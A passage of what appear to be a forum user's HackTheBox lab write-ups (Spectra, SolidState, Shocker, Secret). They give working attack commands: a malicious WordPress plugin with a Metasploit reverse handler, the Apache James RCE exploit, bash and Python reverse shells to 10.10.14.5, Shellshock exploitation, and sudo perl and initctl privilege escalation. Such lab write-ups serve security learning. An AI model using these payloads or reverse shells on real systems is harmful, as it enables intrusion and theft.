Accept-Language: en-US,en;q=0.9 Connection: close Content-Length: 135 <?xml version="1.0" encoding="utf-8"?> <methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall> #### Post request returns all system methods HTTP/1.1 200 OK Server: nginx/1.17.4 Date: Wed, 09 Jun 2021 08:16:48 GMT Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 4678 <br /> <b>Deprecated</b>: Automatically populating $HTTP_RAW_POST_DATA is deprecated and will be removed in a future version. To avoid this warning set 'always_populate_raw_post_data' to '-1' in php.ini and use the php://input stream instead. in <b>Unknown</b> on line <b>0</b><br /> <br /> <b>Warning</b>: Cannot modify header information - headers already sent in <b>Unknown</b> on line <b>0</b><br /> <?xml version="1.0" encoding="UTF-8"?> <methodResponse> <params> <param> <value> <array><data> <value><string>system.multicall</string></value> <value><string>system.listMethods</string></value> <value><string>system.getCapabilities</string></value> <value><string>demo.addTwoNumbers</string></value> <value><string>demo.sayHello</string></value> <value><string>pingback.extensions.getPingbacks</string></value> <value><string>pingback.ping</string></value> <value><string>mt.publishPost</string></value> <value><string>mt.getTrackbackPings</string></value> <value><string>mt.supportedTextFilters</string></value> <value><string>mt.supportedMethods</string></value> <value><string>mt.setPostCategories</string></value> <value><string>mt.getPostCategories</string></value> <value><string>mt.getRecentPostTitles</string></value> <value><string>mt.getCategoryList</string></value> <value><string>metaWeblog.getUsersBlogs</string></value> <value><string>metaWeblog.deletePost</string></value> <value><string>metaWeblog.newMediaObject</string></value> <value><string>metaWeblog.getCategories</string></value> <value><string>metaWeblog.getRecentPosts</string></value> <value><string>metaWeblog.getPost</string></value> <value><string>metaWeblog.editPost</string></value> <value><string>metaWeblog.newPost</string></value> <value><string>blogger.deletePost</string></value> <value><string>blogger.editPost</string></value> <value><string>blogger.newPost</string></value> <value><string>blogger.getRecentPosts</string></value> <value><string>blogger.getPost</string></value> <value><string>blogger.getUserInfo</string></value> <value><string>blogger.getUsersBlogs</string></value> <value><string>wp.restoreRevision</string></value> <value><string>wp.getRevisions</string></value> <value><string>wp.getPostTypes</string></value> <value><string>wp.getPostType</string></value> <value><string>wp.getPostFormats</string></value> <value><string>wp.getMediaLibrary</string></value> <value><string>wp.getMediaItem</string></value> <value><string>wp.getCommentStatusList</string></value> <value><string>wp.newComment</string></value> <value><string>wp.editComment</string></value> <value><string>wp.deleteComment</string></value> <value><string>wp.getComments</string></value> <value><string>wp.getComment</string></value> <value><string>wp.setOptions</string></value> <value><string>wp.getOptions</string></value> <value><string>wp.getPageTemplates</string></value> <value><string>wp.getPageStatusList</string></value> <value><string>wp.getPostStatusList</string></value> <value><string>wp.getCommentCount</string></value> <value><string>wp.deleteFile</string></value> <value><string>wp.uploadFile</string></value> <value><string>wp.suggestCategories</string></value> <value><string>wp.deleteCategory</string></value> <value><string>wp.newCategory</string></value> <value><string>wp.getTags</string></value> <value><string>wp.getCategories</string></value> <value><string>wp.getAuthors</string></value> <value><string>wp.getPageList</string></value> <value><string>wp.editPage</string></value> <value><string>wp.deletePage</string></value> <value><string>wp.newPage</string></value> <value><string>wp.getPages</string></value> <value><string>wp.getPage</string></value> <value><string>wp.editProfile</string></value> <value><string>wp.getProfile</string></value> <value><string>wp.getUsers</string></value> <value><string>wp.getUser</string></value> <value><string>wp.getTaxonomies</string></value> <value><string>wp.getTaxonomy</string></value> <value><string>wp.getTerms</string></value> <value><string>wp.getTerm</string></value> <value><string>wp.deleteTerm</string></value> <value><string>wp.editTerm</string></value> <value><string>wp.newTerm</string></value> <value><string>wp.getPosts</string></value> <value><string>wp.getPost</string></value> <value><string>wp.deletePost</string></value> <value><string>wp.editPost</string></value> <value><string>wp.newPost</string></value> <value><string>wp.getUsersBlogs</string></value> </data></array> </value> </param> </params> </methodResponse> I have tried to: - bruteforce credentials through wpscan xmlrpc bruteforce option - inject php code - User's dump Both with no success.### /testing Directory The testing page provides interesting files and directories. Upon manually checking them all, I have discovered possible credentials. # curl http://spectra.htb/testing/wp-config.php.save 137 ⨯ <?php /** * The base configuration for WordPress * * The wp-config.php creation script uses this file during the * installation. You don't have to use the web site, you can * copy this file to "wp-config.php" and fill in the values. * * This file contains the following configurations: * * * MySQL settings * * Secret keys * * Database table prefix * * ABSPATH * * @link https://wordpress.org/support/article/editing-wp-config-php/ * * @package WordPress */ // ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define( 'DB_NAME', 'dev' ); /** MySQL database username */ define( 'DB_USER', 'devtest' ); /** MySQL database password */ define( 'DB_PASSWORD', 'devteam01' ); /** MySQL hostname */ define( 'DB_HOST', 'localhost' ); /** Database Charset to use in creating database tables. */ define( 'DB_CHARSET', 'utf8' ); /** The Database Collate type. Don't change this if in doubt. */ define( 'DB_COLLATE', '' ); <deleted> # Reverse Shell ### Edit the 404.php file I have used the found credentials from wpscan and from curl to login in to the administrator panel where I tried to change the appearance of the twenty twenty theme by inserting malicious PHP code within its 404 page. From within "theme editor", I have found the 404.php and inserted my own code. ![[spectra 404.png]] However, it did not work since it required me to: Unable to communicate back with site to check for fatal errors, so the PHP change was reverted. You will need to upload your PHP file change by some other means, such as by using SFTP. ### Upload malicious plugin I am using a python script called *malicious wordpress plugin*[https://github.com/wetw0rk/malicious-wordpress-plugin]. The following is its output. # python wordpwn.py 10.10.14.6 1234 Y [*] Checking if msfvenom installed [+] msfvenom installed [+] Generating plugin script [+] Writing plugin script to file [+] Generating payload To file [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload [-] No arch selected, selecting arch: php from the payload Found 1 compatible encoders Attempting to encode payload with 1 iterations of php/base64 php/base64 succeeded with size 1505 (iteration=0) php/base64 chosen with final size 1505 Payload size: 1505 bytes [+] Writing files to zip [+] Cleaning up files [+] URL to upload the plugin: http://(target)/wp-admin/plugin-install.php?tab=upload [+] How to trigger the reverse shell : -> http://(target)/wp-content/plugins/malicious/wetw0rk_maybe.php -> http://(target)/wp-content/plugins/malicious/QwertyRocks.php [+] Launching handler , , / \ ((__---,,,---__)) (_) O O (_)_________ \ _ / |\ o_o \ M S F | \ \ _____ | * ||| WW||| ||| ||| =[ metasploit v6.0.44-dev ] + -- --=[ 2131 exploits - 1139 auxiliary - 363 post ] + -- --=[ 592 payloads - 45 encoders - 10 nops ] + -- --=[ 8 evasion ] Metasploit tip: Enable verbose logging with set VERBOSE true [*] Processing wordpress.rc for ERB directives. resource (wordpress.rc)> use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp resource (wordpress.rc)> set PAYLOAD php/meterpreter/reverse_tcp PAYLOAD => php/meterpreter/reverse_tcp resource (wordpress.rc)> set LHOST 10.10.14.6 LHOST => 10.10.14.6 resource (wordpress.rc)> set LPORT 1234 LPORT => 1234 resource (wordpress.rc)> exploit [*] Started reverse TCP handler on 10.10.14.6:1234 Now, all I have to do is upload the produced malicious plugin and load it. ![[spectra malicious plugins.png]] In the following lines, I am catching the reverse shell and I upload privesc tools (linpeas, linenum,unix-privesc-check) to the victim machine. ```bash [*] Sending stage (39282 bytes) to 10.10.10.229 [*] Meterpreter session 1 opened (10.10.14.6:1234 -> 10.10.10.229:37604) at 2021-06-09 05:51:28 -0400 meterpreter > upload /home/kali/linenum.sh [*] uploading : /home/kali/linenum.sh -> linenum.sh [*] Uploaded -1.00 B of 45.54 KiB (-0.0%): /home/kali/linenum.sh -> linenum.sh [*] uploaded : /home/kali/linenum.sh -> linenum.sh <deleted> # Privilege Escalation I have spent decent amount of time enumerating the machine with the *find* command and analysing the output of the previously mentioned scripts and discovered a directory called autologin which contains an ascii file called passwd. nginx@spectra /var/tmp $ cat /etc/autologin/passwd cat /etc/autologin/passwd SummerHereWeCome!! It seems that this file is used to feed a password somewhere. $ ssh [email protected] Password: katie@spectra ~ $ ls log user.txt Voila, we got user. In the following lines, I am listing user's privileges with *sudo -l* and I notice that a binary initctl requires no password to run. So I check what's the binary for. katie@spectra ~ $ sudo -l User katie may run the following commands on spectra: (ALL) SETENV: NOPASSWD: /sbin/initctl katie@spectra ~ $ cd /sbin/ katie@spectra /sbin $ ./initctl help Job commands: start Start job. stop Stop job. restart Restart job. reload Send HUP signal to job. status Query status of job. list List known jobs. Event commands: emit Emit an event. Other commands: reload-configuration Reload the configuration of the init daemon. version Request the version of the init daemon. log-priority Change the minimum priority of log messages from the init daemon show-config Show emits, start on and stop on details for job configurations. help display list of commands For more information on a command, try `initctl COMMAND --help'. I had to better understand what the binary is and what it does. The [manual page for initctl](https://manpages.ubuntu.com/manpages/xenial/man8/initctl.8.html) explains what it is and what it does. In the following lines I am simply following the logic from the man page and the help output. katie@spectra /sbin $ ./initctl list crash-reporter-early-init stop/waiting cups-clear-state stop/waiting dbus_session stop/waiting failsafe-delay stop/waiting fwupdtool-activate stop/waiting send-reclamation-metrics stop/waiting smbproviderd stop/waiting tpm_managerd start/running, process 818 udev start/running, process 240 test stop/waiting test1 stop/waiting <deleted> There is a job called test1 which may be used to write a malicious script which will be ran by initctl with root privileges. ![[spectra test init.png]] I thought about running netcat to establish an elevated reverse shell but the machine hasn't got a netcat. In this case, I thought to change the group permissions of /bin/bash shell. ![[spectra test init changed.png]] katie@spectra /sbin $ sudo -u root /sbin/initctl start test test start/running, process 29965 katie@spectra /sbin $ /bin/bash -p bash-4.3# whoami root This box was quite interesting and it took me a while to elevate to user. Root flag was much faster, wierdly enough. Anyway, we learnt about ***initctl*** privesc. Practiced a bit with wordpress enumeration and hacking. Practiced *find* local enumeration and discovered valuable intel which we used to elevate our privileges.
  10. h3xu

    SolidState

    # ENUMERATION ## NMAP The scan returned multiple interesting services # nmap -p- -sV -sC -o solidstate.txt --script vuln 10.10.10.51 Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-15 05:47 EDT Nmap scan report for 10.10.10.51 Host is up (0.050s latency). Not shown: 65529 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0) 25/tcp open smtp JAMES smtpd 2.3.2 | smtp-vuln-cve2010-4344: |_ The SMTP server is not Exim: NOT VULNERABLE |_sslv2-drown: 80/tcp open http Apache httpd 2.4.25 ((Debian)) | http-csrf: | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.10.51 | Found the following possible CSRF vulnerabilities: | | Path: http://10.10.10.51:80/ | Form id: name | Form action: # | | Path: http://10.10.10.51:80/index.html | Form id: name | Form action: # | | Path: http://10.10.10.51:80/services.html | Form id: name | Form action: # | | Path: http://10.10.10.51:80/about.html | Form id: name |_ Form action: # |_http-dombased-xss: Couldn't find any DOM based XSS. | http-enum: | /README.txt: Interesting, a readme. |_ /images/: Potentially interesting directory w/ listing on 'apache/2.4.25 (debian)' |_http-server-header: Apache/2.4.25 (Debian) | http-sql-injection: | Possible sqli for queries: | http://10.10.10.51:80/assets/js/?C=N%3bO%3dD%27%20OR%20sqlspider | http://10.10.10.51:80/assets/js/?C=D%3bO%3dA%27%20OR%20sqlspider | http://10.10.10.51:80/assets/js/?C=S%3bO%3dA%27%20OR%20sqlspider | http://10.10.10.51:80/assets/js/?C=M%3bO%3dA%27%20OR%20sqlspider | http://10.10.10.51:80/assets/?C=S%3bO%3dA%27%20OR%20sqlspider | http://10.10.10.51:80/assets/?C=M%3bO%3dA%27%20OR%20sqlspider | http://10.10.10.51:80/assets/?C=D%3bO%3dA%27%20OR%20sqlspider | http://10.10.10.51:80/assets/?C=N%3bO%3dD%27%20OR%20sqlspider | http://10.10.10.51:80/assets/js/?C=N%3bO%3dA%27%20OR%20sqlspider | http://10.10.10.51:80/assets/js/?C=D%3bO%3dA%27%20OR%20sqlspider | http://10.10.10.51:80/assets/js/?C=S%3bO%3dA%27%20OR%20sqlspider | http://10.10.10.51:80/assets/js/?C=M%3bO%3dA%27%20OR%20sqlspider | http://10.10.10.51:80/assets/js/ie/?C=D%3bO%3dA%27%20OR%20sqlspider | http://10.10.10.51:80/assets/js/ie/?C=M%3bO%3dA%27%20OR%20sqlspider | http://10.10.10.51:80/assets/js/ie/?C=S%3bO%3dA%27%20OR%20sqlspider | http://10.10.10.51:80/assets/js/ie/?C=N%3bO%3dD%27%20OR%20sqlspider | http://10.10.10.51:80/assets/js/?C=D%3bO%3dD%27%20OR%20sqlspider | http://10.10.10.51:80/assets/js/?C=N%3bO%3dA%27%20OR%20sqlspider | http://10.10.10.51:80/assets/js/?C=S%3bO%3dA%27%20OR%20sqlspider |_ http://10.10.10.51:80/assets/js/?C=M%3bO%3dA%27%20OR%20sqlspider |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. 110/tcp open pop3 JAMES pop3d 2.3.2 |_sslv2-drown: 119/tcp open nntp JAMES nntpd (posting ok) |_sslv2-drown: 4555/tcp open james-admin JAMES Remote Admin 2.3.2 Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel ## Port 25 SMTP We have an smtp services running. This {[VRFY EXPN RCPT - pentest monkey](https://www.ndchost.com/wiki/mail/test-smtp-auth-telnet)} explains how we could connect and test smtp service on port 25. # telnet 10.10.10.51 25 Trying 10.10.10.51... Connected to 10.10.10.51. Escape character is '^]'. 220 solidstate SMTP Server (JAMES SMTP Server 2.3.2) ready Thu, 15 Apr 2021 06:22:00 -0400 (EDT) VRFY 502 5.3.3 VRFY is not supported EXPN 502 5.3.3 EXPN is not supported RCPT 503 5.5.0 Need MAIL before RCPT Since the service does not support the first two protocols we're going to use RCPT. $ /usr/share/legion/scripts/smtp-user-enum.pl -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 10.10.10.51 Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum ) ---------------------------------------------------------- | Scan Information | ---------------------------------------------------------- Mode ..................... RCPT Worker Processes ......... 5 Usernames file ........... /usr/share/metasploit-framework/data/wordlists/unix_users.txt Target count ............. 1 Username count ........... 168 Target TCP port .......... 25 Query timeout ............ 5 secs Target domain ............ ######## Scan started at Thu Apr 15 06:23:54 2021 ######### ######## Scan completed at Thu Apr 15 06:24:02 2021 ######### 0 results. 168 queries in 8 seconds (21.0 queries / sec) I have also tried enumerating for email addresses by adding "-D 10.10.10.51" and "-D solid-state-security.com" but again with no success. ## Port 80 HTTP The nmap scan reveals a web service running. Let's try to find hidden directories/files. The scan already reported some possibly interesting directories, however, upon checking them - did not find anything important. #### Dirbuster ![[solidstate dirbuster.PNG]] #### sqlmap I have tested the js false-positive just for the sake of it, and proved that it is not injectible. ## Port 4555 tcp admin-James #### Searchsploit We can't but notice that the exploits are for the same version as the one running on the machine. # searchsploit JAMES --------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path --------------------------------------------------------------------------------------------------------------------------- --------------------------------- Apache James Server 2.2 - SMTP Denial of Service | multiple/dos/27915.pl Apache James Server 2.3.2 - Insecure User Creation Arbitrary File Write (Metasploit) | linux/remote/48130.rb Apache James Server 2.3.2 - Remote Command Execution | linux/remote/35513.py WheresJames Webcam Publisher Beta 2.0.0014 - Remote Buffer Overflow | windows/remote/944.c --------------------------------------------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results The following picture is from the RCE python exploit. It seems the default credentials are root:root. Let's test it: # Exploitation ![[Pasted image 20210415135840.png]] $ python 35513.py 10.10.10.51 1 ⨯ [+]Connecting to James Remote Administration Tool... [+]Creating user... [+]Connecting to James SMTP server... [+]Sending payload... [+]Done! Payload will be executed once somebody logs in. Now, in order to execute the payload we need to find a way to login to the machine. There is an smtp service running and we know the default credentials root:root :```bash $ telnet 10.10.10.51 4555 130 ⨯ Trying 10.10.10.51... Connected to 10.10.10.51. Escape character is '^]'. JAMES Remote Administration Tool 2.3.2 Please enter your login and password Login id: root Password: root Welcome root. HELP for a list of commands help Currently implemented commands: help display this help listusers display existing accounts countusers display the number of existing accounts adduser [username] [password] add a new user verify [username] verify if specified user exist deluser [username] delete existing user setpassword [username] [password] sets a user's password setalias [user] [alias] locally forwards all email for 'user' to 'alias' showalias [username] shows a user's current email alias unsetalias [user] unsets an alias for 'user' setforwarding [username] [emailaddress] forwards a user's email to another email address showforwarding [username] shows a user's current email forwarding unsetforwarding [username] removes a forward user [repositoryname] change to another user repository shutdown kills the current JVM (convenient when James is run as a daemon) quit close connection listusers Existing accounts 7 user: james user: ../../../../../../../../etc/bash_completion.d user: root user: thomas user: john user: mindy user: mailadmin setpassword mailadmin mailadmin Password for mailadmin reset exit Unknown command exit quit Bye Connection closed by foreign host. Cool, I have logged onto the service by using default credentials, we understood what users exist, and we were able to change passwords. Now I am going to access the account for mailadmin since It looks the most juicy account. 1. Credentials mailadmin:mailadmin ![[Pasted image 20210415214145.png]] 2. It will prompt you to a window that says that it uses plain text and not encrypted. Confirm and continue. 3. Ok, apparently the mailadmin account was a waste of time, lol :D. Let's repeat the process for the rest of the accounts ( click set up another account) and hope we get something out of it. listusers Existing accounts 7 user: james user: ../../../../../../../../etc/bash_completion.d user: root user: thomas user: john user: mindy user: mailadmin setpassword mindy mindy Password for mindy reset 4. Mindy's account has a welcoming and an access emails which contains a password. ![[Pasted image 20210415214939.png]] Ok, so upon logging in through ssh with the following credentials: mindy:P@55W0rd1!2@ , the python exploit runs and a bash_completion file is created. However, we're put in a rbash shell. $ ssh [email protected] Received: from 10.10.14.5([10.10.14.5]) by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 902 for <../../../../../../../../etc/bash_completion.d@localhost>; Thu, 15 Apr 2021 07:11:09 -0400 (EDT) Date: Thu, 15 Apr 2021 07:11:09 -0400 (EDT) From: [email protected] $ whoami -rbash: whoami: command not found I have managed finally to escape the restrictive shell by adding "-t bash". $ man ssh </deleted> -t Force pseudo-terminal allocation. This can be used to execute arbitrary screen-based programs on a remote machine, which can be very useful, e.g. when implementing menu services. Multiple -t options force tty alloca‐ tion, even if ssh has no local tty. </deleted> ssh [email protected] -t bash [email protected]'s password: ${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ ls bin user.txt ${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ whoami mindy # Privilege escalation #### Enumeration $ bash linenum.sh > output.txt I did not manage to find anything interesting apart from some system ports that are open. Next script I'd like to try is probably unix-priv-check from [pentestmonkey](http://pentestmonkey.net/tools/audit/unix-privesc-check) however, the box did not have strings which is a requirement for it to run. #### writeable files/directories $ find / -writable ! -user `whoami` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null -rwxrwxrwx 1 root root 105 Aug 22 2017 /opt/tmp.py $ cat tmp.py #!/usr/bin/env python import os import sys try: os.system('rm -r /tmp/* ') except: sys.exit() NICE! We have a root-owned file which we could modify and execute. Let's escalate. Firstly, I have tried to get a reverse shell ${debian_chroot:+($debian_chroot)}mindy@solidstate:/tmp$ ls newfile.txt ${debian_chroot:+($debian_chroot)}mindy@solidstate:/tmp$ cd opt bash: cd: opt: No such file or directory ${debian_chroot:+($debian_chroot)}mindy@solidstate:/tmp$ cd /opt ${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ nano tmp.py ${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ date Thu Apr 15 16:04:56 EDT 2021 ${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ cat tmp.py #!/usr/bin/env python import os import sys try: os.system('bash -c "sh -i >& /dev/udp/10.10.14.5/1234 0>&1"') except: sys.exit() ${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ date Thu Apr 15 16:05:13 EDT 2021 I have proven myself that cron executes the file every minute by writing into the tmp.py: !/usr/bin/env python import os import sys try: os.system('touch /tmp/shell.py;python shell.py') except: sys.exit() After a while, a file was created in /tmp/. I have edited the file with the python script from the [reverse shell sentrywhale](https://sentrywhale.com/documentation/reverse-shell) website: import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.10.14.5",1234)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"]) Catch the shell. $ nc -nvlp 1234 listening on [any] 1234 ... connect to [10.10.14.5] from (UNKNOWN) [10.10.10.51] 39694 bash: cannot set terminal process group (3597): Inappropriate ioctl for device bash: no job control in this shell root@solidstate:~# ls ls file.py root.txt
  11. h3xu

    Shocker

    # Nmap nmap shows port 80 open nmap -sC -sV -p-65535 --script vuln 10.10.10.56 PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-server-header: Apache/2.4.18 (Ubuntu) | http-slowloris-check: | VULNERABLE: | Slowloris DOS attack | State: LIKELY VULNERABLE | IDs: CVE:CVE-2007-6750 | Slowloris tries to keep many connections to the target web server open and hold | them open as long as possible. It accomplishes this by opening connections to | the target web server and sending a partial request. By doing so, it starves | the http server's resources causing Denial Of Service. | | Disclosure date: 2009-09-17 | References: | http://ha.ckers.org/slowloris/ |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750 |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. | vulners: Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 379.45 seconds # Go to the WebApp: greeted by: ## page source: <h2>Don't Bug Me!</h2> <img src="bug.jpg" alt="bug" style="width:450px;height:350px;"> </body> </html> Finding and Exploiting Shellshock msf6 > search shellshock Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/scanner/http/apache_mod_cgi_bash_env 2014-09-24 normal Yes Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner The following is the output from scanning the target uri by using the seen below msf module: *http://10.10.10.56/cgi-bin/user.sh* msf6 auxiliary(scanner/http/apache_mod_cgi_bash_env) > exploit [+] uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed Searching for suitable shellshock exploit: msf6 auxiliary(scanner/http/apache_mod_cgi_bash_env) > search shellshock Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/scanner/http/apache_mod_cgi_bash_env 2014-09-24 normal Yes Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner 1 auxiliary/server/dhclient_bash_env 2014-09-24 normal No DHCP Client Bash Environment Variable Code Injection (Shellshock) 2 exploit/linux/http/advantech_switch_bash_env_exec 2015-12-01 excellent Yes Advantech Switch Bash Environment Variable Code Injection (Shellshock) 3 exploit/linux/http/ipfire_bashbug_exec 2014-09-29 excellent Yes IPFire Bash Environment Variable Injection (Shellshock) 4 exploit/multi/ftp/pureftpd_bash_env_exec 2014-09-24 excellent Yes Pure-FTPd External Authentication Bash Environment Variable Code Injection (Shellshock) 5 exploit/multi/http/apache_mod_cgi_bash_env_exec 2014-09-24 excellent Yes Apache mod_cgi Bash Environment Variable Code Injection (Shellshock) 6 exploit/multi/http/cups_bash_env_exec 2014-09-24 excellent Yes CUPS Filter Bash Environment Variable Code Injection (Shellshock) 7 exploit/multi/misc/legend_bot_exec 2015-04-27 excellent Yes Legend Perl IRC Bot Remote Code Execution 8 exploit/multi/misc/xdh_x_exec 2015-12-04 excellent Yes Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution 9 exploit/osx/local/vmware_bash_function_root 2014-09-24 normal Yes OS X VMWare Fusion Privilege Escalation via Bash Environment Code Injection (Shellshock) 10 exploit/unix/dhcp/bash_environment 2014-09-24 excellent No Dhclient Bash Environment Variable Injection (Shellshock) 11 exploit/unix/smtp/qmail_bash_env_exec 2014-09-24 normal No Qmail SMTP Bash Environment Variable Injection (Shellshock) Interact with a module by name or index. For example info 11, use 11 or use exploit/unix/smtp/qmail_bash_env_exec By using the *show info* command I have found a suitable exploit for our case: msf6 auxiliary(scanner/http/apache_mod_cgi_bash_env) > show info 5 Name: Apache mod_cgi Bash Environment Variable Code Injection (Shellshock) Module: exploit/multi/http/apache_mod_cgi_bash_env_exec Platform: Arch: Privileged: No License: Metasploit Framework License (BSD) Rank: Excellent Disclosed: 2014-09-24 Provided by: Stephane Chazelas wvu <[email protected]> juan vazquez <[email protected]> lcamtuf Available targets: Id Name -- ---- 0 Linux x86 1 Linux x86_64 *(removed some info)* Payload information: Space: 2048 Description: This module exploits the Shellshock vulnerability, a flaw in how the Bash shell handles external environment variables. This module targets CGI scripts in the Apache web server by setting the HTTP_USER_AGENT environment variable to a malicious function definition. References: https://cvedetails.com/cve/CVE-2014-6271/ https://cvedetails.com/cve/CVE-2014-6278/ https://cwe.mitre.org/data/definitions/94.html OSVDB (112004) https://www.exploit-db.com/exploits/34765 https://access.redhat.com/articles/1200223 https://seclists.org/oss-sec/2014/q3/649 Also known as: Shellshock In the following lines, I am using the exploit, setting the requirements and exploiting it, resulting in a meterpreter session. msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set TARGETURI http://10.10.10.56/cgi-bin/user.sh TARGETURI => http://10.10.10.56/cgi-bin/user.sh msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > exploit [*] Started reverse TCP handler on 10.10.14.4:1234 [*] Command Stager progress - 100.46% done (1097/1092 bytes) [*] Sending stage (980808 bytes) to 10.10.10.56 [*] Meterpreter session 1 opened (10.10.14.4:1234 -> 10.10.10.56:57692) at 2021-04-07 10:02:11 -0400 In the following section I have: * checked who am i logged as * traversed to the home dir of that user and listed files, finding the user flag * sudo -l to check the sudoers file for misconfiguration. We can privesc with perl. meterpreter > shell Process 1530 created. Channel 1 created. ls user.sh whoami shelly cd ls user.txt cat user.txt 3b52250728977779d192b0262d2c2d7e sudo -l Matching Defaults entries for shelly on Shocker: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User shelly may run the following commands on Shocker: (root) NOPASSWD: /usr/bin/perl sudo perl -e 'exec "/bin/bash"' whoami root cd /root/ ls root.txt cat root.txt f77dc0ce91af01ad16326409e1d05b68
  12. h3xu

    Secret

    # Enumeration #### Nmap 3 ports, 2 of which are http service that we have to check on our browser. PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA) | 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA) |_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: DUMB Docs | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: nginx/1.18.0 (Ubuntu) 3000/tcp open http Node.js (Express middleware) |_http-title: DUMB Docs | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel #### Port 80 We see it is a website that contains a tutorial on how to register a user, login as user and basically operate the API. #### Port 3000 Same as port 80 #### Dirbuster We have found a zip file. Usually, open source projects contain the files they are comprised of. ![[HackTheBox Notes/Linux/Secret/dirbuster.PNG]]#### Files.zip Analysis We find .git which should contain commits and files that could contain interesting info. ┌──(root💀kali)-[~/Downloads/local-web] └─# ls -la total 116 drwxr-xr-x 8 root root 4096 Sep 3 01:57 . drwxr-xr-x 5 root root 4096 Nov 11 08:41 .. -rw-r--r-- 1 root root 72 Sep 3 01:59 .env drwxr-xr-x 8 root root 4096 Sep 8 14:33 .git -rw-r--r-- 1 root root 885 Sep 3 01:56 index.js drwxr-xr-x 2 root root 4096 Aug 13 00:42 model drwxr-xr-x 201 root root 4096 Aug 13 00:42 node_modules -rw-r--r-- 1 root root 491 Aug 13 00:42 package.json -rw-r--r-- 1 root root 69452 Aug 13 00:42 package-lock.json drwxr-xr-x 4 root root 4096 Sep 3 01:54 public drwxr-xr-x 2 root root 4096 Sep 3 02:32 routes drwxr-xr-x 4 root root 4096 Aug 13 00:42 src -rw-r--r-- 1 root root 651 Aug 13 00:42 validations.js ┌──(root💀kali)-[~/Downloads/local-web] └─# cd .git ┌──(root💀kali)-[~/Downloads/local-web/.git] └─# ls branches COMMIT_EDITMSG config description HEAD hooks index info logs objects refs ┌──(root💀kali)-[~/Downloads/local-web/.git] └─# cd logs ┌──(root💀kali)-[~/Downloads/local-web/.git/logs] └─# ls HEAD refs ┌──(root💀kali)-[~/Downloads/local-web/.git/logs] └─# cat HEAD 0000000000000000000000000000000000000000 55fe756a29268f9b4e786ae468952ca4a8df1bd8 dasithsv <[email protected]> 1630648552 +0530 commit (initial): first commit 55fe756a29268f9b4e786ae468952ca4a8df1bd8 3a367e735ee76569664bf7754eaaade7c735d702 dasithsv <[email protected]> 1630648599 +0530 commit: added downloads 3a367e735ee76569664bf7754eaaade7c735d702 4e5547295cfe456d8ca7005cb823e1101fd1f9cb dasithsv <[email protected]> 1630648655 +0530 commit: removed swap 4e5547295cfe456d8ca7005cb823e1101fd1f9cb de0a46b5107a2f4d26e348303e76d85ae4870934 dasithsv <[email protected]> 1630648759 +0530 commit: added /downloads de0a46b5107a2f4d26e348303e76d85ae4870934 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78 dasithsv <[email protected]> 1630648817 +0530 commit: removed .env for security reasons 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78 e297a2797a5f62b6011654cf6fb6ccb6712d2d5b dasithsv <[email protected]> 1631126007 +0530 commit: now we can view logs from server 😃 At this point I have decided to look for a clue in google what to do with the .git and found 